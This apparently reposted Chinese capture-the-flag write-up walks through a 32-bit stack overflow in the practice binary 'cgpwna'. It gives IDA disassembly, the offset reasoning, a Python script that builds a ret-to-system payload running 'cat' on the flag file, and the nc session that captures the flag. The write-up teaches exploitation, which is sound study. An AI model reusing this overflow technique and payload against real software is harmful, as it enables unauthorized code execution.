南邮linux编程实验报告,简单分析南邮实训平台pwn方向真题

原标题:简单分析南邮实训平台pwn方向真题

简单分析南邮实训平台pwn方向第二题 - Stack Overflow

环境配置

系统 : Windows xp / ubuntu 32bit

程序 : cgpwna

要求 : 缓冲区溢出执行cat命令

使用工具 :IDA

开始分析

搜集线索

在linux系统中,使用file命令查看文件的信息:

➜ playground filecgpwna

cgpwn a:ELF 32-bit LSB executable, Intel 80386, version1(SYSV), dynamically linked, interpreter /lib/ld-linux. so. 2, forGNU/Linux 2.6. 24, BuildID[sha1]= 8648818dcc39023c4dac61d2edb091bcd3fd3270, not stripped

发现是32位的可执行程序,我们可以先运行一下,了解其输出:

➜ playground ./cgpwna

what doyou want todo?

1.leave somemessage.

2.nothing.

your choice:

1

you can leave somemessage here:

123

your nameplease:

12333

Thank you

what doyou want todo?

1.leave somemessage.

2.nothing.

your choice:

1

you can leave somemessage here:

1

your nameplease:

12

Thank you

what doyou want todo?

1.leave somemessage.

2.nothing.

your choice:

2

bye

直接用ida载入该程序,按下Shift+F12查看字符串列表:

.rodata:08048700 0000000C C echohello!

.rodata:0804870C 00000018 C what doyou want to do?

.rodata:08048724 00000016 C 1.leave some message.

.rodata:0804873A 0000000B C 2.nothing.

.rodata:08048745 0000000D C your choice:

.rodata:08048754 00000021 C you can leave some message here:

.rodata:08048775 00000012 C your name please:

.rodata:08048787 0000000A C Thank you

.eh_frame:08048813 00000005 C ;*2$ "

双击字符串bye查看具体信息,这里通过交叉参考功能定位到main函数,按下F5查看其伪c代码:

int__ cdecl main(intargc, constchar**argv, constchar**envp)

{

setbuf( stdin, 0);

setbuf( stdout, 0);

setbuf( stderr, 0);

while( 1)

{

menu();

fgets(&choice, 100, stdin);

if( choice != 49)

break;

message();

}

puts( "bye");

return0;

}

其中的两个函数内容如下:

intmenu()

{

puts( "what do you want to do?");

puts( "1.leave some message.");

puts( "2.nothing.");

returnputs( "your choice:");

}

intmessage()

{

chars; // [sp+18h] [bp-30h]@1

n = 10;

puts( "you can leave some message here:");

fgets(A, 60, stdin);

puts( "your name please:");

fgets(&s, n, stdin);

returnputs( "Thank you");

}

查找溢出点

这里,接收用户输入的函数的fgets函数:

函数原型

char*fgets(char*buf, intbufsize, FILE *stream);

参数

*buf: 字符型指针,指向用来存储所得数据的地址。

bufsize: 整型数据,指明存储数据的大小。

*stream: 文件结构体指针,将要读取的文件流。

该函数指定了buf的大小,看上去没有什么问题,我们再检查下缓冲区:

fe401915592d3306b18c92adbd1dfc85.png

这里,缓冲区只有40字节的大小,却指定可以接受60个字节大小的数据呢。我们双击'A'查看详细信息:

.bss:0804A080; charA[40]

.bss:0804A080Adb28 hdup(?) ; DATAXREF: message+2 Do

.bss:0804A0A8; intn

.bss:0804A0A8ndd? ; DATAXREF: message+6 w

.bss:0804A0A8; message+4 Br

我们可以给予缓冲区A超过40字节的数据来替换掉n的值,这样就能溢出缓冲区s的值了:

fgets(&s, n, stdin);

双击n查看函数栈视图:

-00000030s db ?

-0000002F db ? ; undefined

-0000002E db ? ; undefined

-0000002D db ? ; undefined

-0000002C db ? ; undefined

-0000002B db ? ; undefined

-0000002A db ? ; undefined

-00000029db ? ; undefined

-00000028db ? ; undefined

-00000027db ? ; undefined

-00000026db ? ; undefined

-00000025db ? ; undefined

-00000024db ? ; undefined

-00000023db ? ; undefined

-00000022db ? ; undefined

-00000021db ? ; undefined

-00000020db ? ; undefined

-0000001F db ? ; undefined

-0000001E db ? ; undefined

-0000001D db ? ; undefined

-0000001C db ? ; undefined

-0000001B db ? ; undefined

-0000001A db ? ; undefined

-00000019db ? ; undefined

-00000018db ? ; undefined

-00000017db ? ; undefined

-00000016db ? ; undefined

-00000015db ? ; undefined

-00000014db ? ; undefined

-00000013db ? ; undefined

-00000012db ? ; undefined

-00000011db ? ; undefined

-00000010db ? ; undefined

-0000000F db ? ; undefined

-0000000E db ? ; undefined

-0000000D db ? ; undefined

-0000000C db ? ; undefined

-0000000B db ? ; undefined

-0000000A db ? ; undefined

-00000009db ? ; undefined

-00000008db ? ; undefined

-00000007db ? ; undefined

-00000006db ? ; undefined

-00000005db ? ; undefined

-00000004db ? ; undefined

-00000003db ? ; undefined

-00000002db ? ; undefined

-00000001db ? ; undefined

+ 00000000s db 4dup(?)

+ 00000004r db 4dup(?)

+ 00000008

+ 00000008; end ofstack variables

此处我们知道,要溢出覆盖n的值,需要40+4个字节的数据填充;而要溢出覆盖函数返回地址,则需要30h+8h=38h(56)个字节的数据。

寻找现有函数

在ida的函数列表视图中,很轻松的找到了pwnme函数:

intpwnme()

{

returnsystem( "echo hello!");

}

我们需要修改函数的参数,然后调用system函数执行cat命令查看flag文件。

推理

再来仔细看看函数的汇编代码:

.text:0804851Dpublicpwnme

.text:0804851Dpwnmeprocnear

.text:0804851Dpushebp

.text:0804851Emovebp, esp

.text:08048520subesp, 18 h

.text:08048523movdwordptr[esp], offsetcommand; " echohello!"

.text:0804852Acall_ system

.text:0804852Fleave

.text:08048530retn

.text:08048530pwnmeendp

函数将command字符串的地址放入esp寄存器指向的栈空间,然后调用了system函数。

我们要做的事,就是将要执行的命令放入缓冲区A中(地址固定),然后将缓冲区A的地址,放入esp寄存器指向的栈空间中,最后直接跳转到地址0804852A调用system函数。

也就是说,我们想要利用漏洞执行cat命令,有两个条件:

能控制程序流程,让其跳转至地址0804852A。

确保esp指向的栈空间,保存的是输入的命令(缓冲区A)的地址。

我们知道,执行ret时会弹栈,esp会指向函数返回地址的下一格栈单元:

f0328d387e60d262adb2dea50c2804ac.png

所以不妨填充函数返回地址下方的栈单元为offest A,当ret 指令跳转执行call system命令时,esp也指向了缓冲区A的地址。

编写shellcode

按照以上推理,用python编写shellcode如下:

cmd = 'cat /home/pwn/flagx001111111111111111111111111n'

f= open( 'my_shellcode', 'w')

f. write( '1n')

f. write(cmd)

f. write( '1111111111111111111111111111111111111111111111111111x2Ax85x04x08x80xA0x04x08n')

f. close()

夺旗成功

连接服务器,用生成的文件作为输入:

➜ playground nc 182.254. 217.14210001< my_shellcode

what doyou want todo?

1.leave some message.

2.nothing.

your choice:

you can leave some message here:

your name please:

Thank you

flag{Naya_chyo_ma_thur_meh_lava_ma_puoru}

参考链接

1、栈溢出漏洞的利用和缓解

https://evilpan.com/2018/03/17/exploit-the-stack/#top

2、fgets函数

https://baike.baidu.com/item/fgets/10942211?fr=aladdin

- End -

c6b19d28640e9160532479fbd6287f56.png

看雪ID:顾言庭

https://bbs.pediy.com/user-800468.htm

本文由看雪论坛 顾言庭原创

转载请注明来自看雪社区

热门图书推荐:

戳立即购买!

(晋级赛Q1正在火热进行中~!比赛时间:3.10-3.24)返回搜狐,查看更多

责任编辑:

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值